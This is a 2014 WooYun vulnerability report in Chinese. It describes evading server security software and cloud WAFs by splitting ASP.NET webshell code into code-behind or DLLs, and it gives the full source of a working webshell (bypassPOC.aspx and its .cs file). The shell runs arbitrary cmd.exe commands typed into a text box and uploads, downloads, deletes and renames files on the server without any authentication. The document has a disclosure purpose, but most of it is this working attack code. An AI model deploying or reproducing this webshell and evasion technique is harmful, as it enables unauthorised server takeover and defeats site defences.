当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-065023

漏洞标题:一种姿势一种shell写法服务器安全软件和云防均无法发挥正常效果

相关厂商:cncert国家互联网应急中心

漏洞作者: abcdlzy

提交时间:2014-06-15 15:18

修复时间:2014-09-13 15:20

公开时间:2014-09-13 15:20

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-15: 细节已通知厂商并且等待厂商处理中
2014-06-18: 厂商已经确认,细节仅向厂商公开
2014-06-21: 细节向第三方安全合作伙伴开放
2014-08-12: 细节向核心白帽子及相关领域专家公开
2014-08-22: 细节向普通白帽子公开
2014-09-01: 细节向实习白帽子公开
2014-09-13: 细节向公众公开

简要描述:

这个方法建立在基于存在各种姿势可能存在的上传漏洞的基础上,被拦截后如何绕过安全防护进行部分或全部操作

详细说明:

目前java没进行测试,这个猜测未经验证:可能javaweb可以把shell的代码写进jar包中,进行调用执行,不太熟悉java...应该这个是同.net引用dll代码.
发现只要把shell代码分离出页面,安全软件不能立即发现,只能规则性禁用调用系统本身的API,如果系统API有权限执行,将可以任意命令执行

漏洞证明:

正常如果能传shell上去的话比如站里面装了狗,是会被狗查出来拦截的

1.png


自己写的shell可以执行

2.png


命令执行被狗拦了,这个我没办法绕过

3.png


去测试下云防御
然后手头上我只有一个自己用来搞实验的玉米,没有VPS什么的,于是去某网申请了个测试的

4.png


绑定安全宝,加速乐想试,但是我发现我这玉米加速乐不给我绑

5.png


测试下生效没

6.png


把自己写的和aspxspy马传上去,最后发现aspxspy被干掉了...

7.png


还能用,不错

8.png


可惜被服务器上面安全软件拒绝执行了,但是云防没反应,要不谁借个虚拟主机给试下?

9.png


贴下源码,那个文件管理懒得写,是在csdn上面随便down了个的.
bypassPOC.aspx

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="bypassPOC.aspx.cs" Inherits="bypassPOC.Default" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title></title>
</head>
<body>
<form id="form1" runat="server">
<div>

<asp:TextBox ID="tb" runat="server"></asp:TextBox>
<br />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="Button" />

<br />

</div>
<div>
<asp:DropDownList ID="DropDownList1" runat="server" Width="200px" AutoPostBack="True" OnSelectedIndexChanged="DropDownList1_SelectedIndexChanged">
<asp:ListItem Value="-1">选择功能</asp:ListItem>
<asp:ListItem Value="0">上传限制</asp:ListItem>
<asp:ListItem Value="1">上传文件</asp:ListItem>
<asp:ListItem Value="2">管理文件</asp:ListItem>
</asp:DropDownList>
<asp:Label ID="lbl_FolderInfo" runat="server"></asp:Label><br />
<asp:MultiView ID="MultiView1" runat="server">
<!--上传限制界面开始-->
<asp:View ID="view_Configure" runat="server">
允许上传文件的类型:
<asp:BulletedList ID="bl_TileTypeLimit" runat="server">
</asp:BulletedList>
允许上传单个文件的大小:
<asp:Label ID="lab_FileSizeLimit" runat="server" Text=""></asp:Label>
</asp:View>
<asp:View ID="view_Upload" runat="server">
<asp:FileUpload ID="FileUpload" runat="server" Width="400"/><br />
<asp:Button ID="btn_Upload" runat="server" Text="上传文件" OnClick="btn_Upload_Click" />
</asp:View>
<!--管理文件开始-->
<asp:View ID="view_Manage" runat="server">
<table cellpadding="5" cellspacing="0" border="0">
<tr>
<td>
<!--启用了AutoPostBack-->
<asp:ListBox ID="lb_FileList" runat="server" AutoPostBack="True" Height="300px" Width="300px" OnSelectedIndexChanged="lb_FileList_SelectedIndexChanged"></asp:ListBox></td>
<td valign="top">
<asp:Label ID="lbl_FileDescription" runat="server"></asp:Label></td>
</tr>
</table>
<asp:Button ID="btn_DownLoad" runat="server" Text="下载文件" OnClick="btn_DownLoad_Click" />
<!--在删除前给予确定-->
<asp:Button ID="btn_Delete" runat="server" Text="删除文件" OnClientClick="return confirm('确定删除文件!')" OnClick="btn_Delete_Click" /><br />
<asp:TextBox ID="tb_FileNewName" runat="server" Width="300px"></asp:TextBox>
<asp:Button ID="btn_Rename" runat="server" Text="对文件重命名" OnClick="btn_Rename_Click" />
</asp:View>
</asp:MultiView>
</div>
</form>
</body>
</html>


bypassPOC.aspx.cs

using System;
using System.IO;
using System.IO.Compression;
using System.Diagnostics;
using System.Data;
using System.Data.OleDb;
using System.Data.Common;
using System.Data.SqlClient;
using Microsoft.Win32;
using System.Net;
using System.Net.Sockets;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Text.RegularExpressions;
using System.Security;
using System.Security.Permissions;
using System.Threading;
using System.Web;
using System.Web.UI.WebControls;
namespace bypassPOC
{
public partial class Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
//初始化文件夹信息
InitFolderInfo();
//初始化列表框控件文件列表信息
InitFileList();
}
}
protected void Button1_Click(object sender, EventArgs e)
{
string text = this.tb.Text;
Process process = new Process
{
StartInfo = { FileName = "cmd.exe", UseShellExecute = false, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, CreateNoWindow = true }
};
string s = null;
process.Start();
process.StandardInput.WriteLine(text);
process.StandardInput.WriteLine("exit");
s = process.StandardOutput.ReadToEnd();
process.WaitForExit();
process.Close();
base.Response.Write("<pre>");
base.Response.Write(base.Server.HtmlEncode(s));
base.Response.Write("</pre>");
}
#region 初始化文件夹信息
private void InitFolderInfo()
{
//从config中读取文件上传路径
string strFileUpladPath = "/";
//如果上传文件夹不存在,则根据config创建一个
if (!Directory.Exists(Server.MapPath(strFileUpladPath)))
{
Directory.CreateDirectory(Server.MapPath(strFileUpladPath));
}
//将虚拟路径转换为物理路径
string strFilePath = Server.MapPath(strFileUpladPath);
//从config里读取文件夹容量限制
double iFolderSizeLimit = 102400;
//声明文件夹已经使用的容量
double iFolderCurrentSize = 0;
//获取文件夹中的所有文件
FileInfo[] arrFiles = new DirectoryInfo(strFilePath).GetFiles();
//循环文件获已经使用的容量
foreach (FileInfo fi in arrFiles)
{
iFolderCurrentSize += Convert.ToInt32(fi.Length / 1024);
}
#region 第二种获得文件夹使用大小的方法
//DirectoryInfo dir = new DirectoryInfo(strFilePath);
//foreach (FileSystemInfo fi in dir.GetFileSystemInfos())
//{
// FileInfo finf = new FileInfo(fi.FullName);
// iFolderCurrentSize += Convert.ToInt32(finf.Length / 1024);
//}
#endregion
//把文件夹容量和以用文件夹容量赋值给标签
lbl_FolderInfo.Text = string.Format("文件夹容量限制:{0}M,已用容量:{1}KB", iFolderSizeLimit / 1024, iFolderCurrentSize);
}
#endregion
#region 初始化列表框控件文件列表信息
private void InitFileList()
{
//从config中获取文件上传路径
string strFileUpladPath = "/";
//将虚拟路径转换为物理路径
string strFilePath = Server.MapPath(strFileUpladPath);
//读取上传文件夹下所有文件
FileInfo[] arrFile = new DirectoryInfo(strFilePath).GetFiles();
//把文件名逐一添加到列表框控件
foreach (FileInfo fi in arrFile)
{
lb_FileList.Items.Add(fi.Name);
}
}
#endregion
#region 判断文件大小限制
private bool IsAllowableFileSize()
{
//从web.config读取判断文件大小的限制
double iFileSizeLimit = 102400 * 1024;
//判断文件是否超出了限制
if (iFileSizeLimit > FileUpload.PostedFile.ContentLength)
{
return true;
}
else
{
return false;
}
}
#endregion
#region 弹出警告消息
protected void ShowMessageBox(string strMessage)
{
Response.Write(string.Format("<script>alert('{0}')</script>", strMessage));
}
#endregion
#region 上传文件按钮事件
protected void btn_Upload_Click(object sender, EventArgs e)
{
//判断用户是否选择了文件
if (FileUpload.HasFile)
{
//判断文件大小是否符合
if (IsAllowableFileSize())
{
//从web.config中读取上传路径
string strFileUploadPath = "/";
//从UploadFile控件中读取文件名
string strFileName = FileUpload.FileName;
//组合成物理路径
string strFilePhysicalPath = Server.MapPath(strFileUploadPath + "/") + strFileName;
//判断文件是否存在
if (!File.Exists(strFilePhysicalPath))
{
//保存文件
FileUpload.SaveAs(strFilePhysicalPath);
//更新列表框
lb_FileList.Items.Add(strFileName);
//更新文件夹信息
InitFolderInfo();
ShowMessageBox("上传成功!");
}
else
{
ShowMessageBox("文件已经存在!");
}
}
else
{
ShowMessageBox("文件大小不符合要求!");
}
}
}
#endregion
#region 列表框事件
protected void lb_FileList_SelectedIndexChanged(object sender, EventArgs e)
{
//从config中读取文件上传路径
string strFileUpladPath = "/";
//从列表框中读取选择的文件名
string strFileName = lb_FileList.SelectedValue;
//组合成物理路径
string strFilePhysicalPath = Server.MapPath(strFileUpladPath + "/") + strFileName;
//根据物理路径实例化文件信息类
FileInfo fi = new FileInfo(strFilePhysicalPath);
//或得文件大小和创建日期赋值给标签
lbl_FileDescription.Text = string.Format("文件大小:{0}字节<br><br>上传时间:{1}<br>", fi.Length, fi.CreationTime);
//把文件名赋值给重命名文件框
tb_FileNewName.Text = strFileName;
}
#endregion
#region 下载文件按钮事件
protected void btn_DownLoad_Click(object sender, EventArgs e)
{
//从web.config读取文件上传路径
string strFileUploadPath = "";
//从列表框中读取选择的文件
string strFileName = lb_FileList.SelectedValue;
//组合成物理路径
string FullFileName = Server.MapPath(strFileUploadPath + "/") + strFileName;
FileInfo DownloadFile = new FileInfo(FullFileName);
Response.Clear();
Response.ClearHeaders();
Response.Buffer = false;
Response.ContentType = "application/octet-stream ";
Response.AppendHeader("Content-Disposition ", "attachment;filename= "
+ HttpUtility.UrlEncode(DownloadFile.FullName, System.Text.Encoding.UTF8));
Response.AppendHeader("Content-Length ", DownloadFile.Length.ToString());
Response.WriteFile(DownloadFile.FullName);
Response.Flush();
Response.End();
}
#endregion
#region 删除文件
protected void btn_Delete_Click(object sender, EventArgs e)
{
//从config中读取文件上传路径
string strFileUpladPath = "/";
//从列表框中读取选择的文件名
string strFileName = lb_FileList.SelectedValue;
//组合成物理路径
string strFilePhysicalPath = Server.MapPath(strFileUpladPath + "/") + strFileName;
//删除文件
System.IO.File.Delete(strFilePhysicalPath);
//更新文件列表框控件
lb_FileList.Items.Remove(lb_FileList.Items.FindByText(strFileName));
//更新文件夹信息
InitFolderInfo();
//更新文件描述信息
tb_FileNewName.Text = "";
//更新重命名文本框
lbl_FileDescription.Text = "";
//调用自定义消息提示
ShowMessageBox("删除成功!");
}
#endregion
#region 重命名文件
protected void btn_Rename_Click(object sender, EventArgs e)
{
//从web.config中读取文件上传路径
string strFileUpladPath = "/";
//从列表框中控件中读取选择的文件名
string strFileName = lb_FileList.SelectedValue;
//重命名文本框或得选择的文件名
string strFileNewName = tb_FileNewName.Text;
//组合成物理路径
string strFilePhysicalPath = Server.MapPath(strFileUpladPath + "/") + strFileName;
//组合成新物理路径
string strFileNewPhysicalPath = Server.MapPath(strFileUpladPath + "/") + strFileNewName;
//文件重命名,即获取新地址覆盖旧地址的过程
System.IO.File.Move(strFilePhysicalPath, strFileNewPhysicalPath);
//找到文件列表的匹配项
ListItem li = lb_FileList.Items.FindByText(strFileName);
//修改文字
li.Text = strFileNewName;
//修改值
li.Value = strFileNewName;
//调用自定义方法现实
ShowMessageBox("文件覆盖成功!");
}
#endregion
#region 下拉列表事件
protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e)
{
MultiView1.ActiveViewIndex = Convert.ToInt32(DropDownList1.SelectedValue);
}
#endregion
}
}

修复方案:

能雷劈下么?

版权声明:转载请注明来源 abcdlzy@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-18 21:17

厂商回复:

CNVD未能全部测试,已经直接转报给加速乐、360网站卫士和安全宝三个主要的防护产品厂商。供其参考,后续待自然公开。鼓励此类独立思考的风险分析。

最新状态:

暂无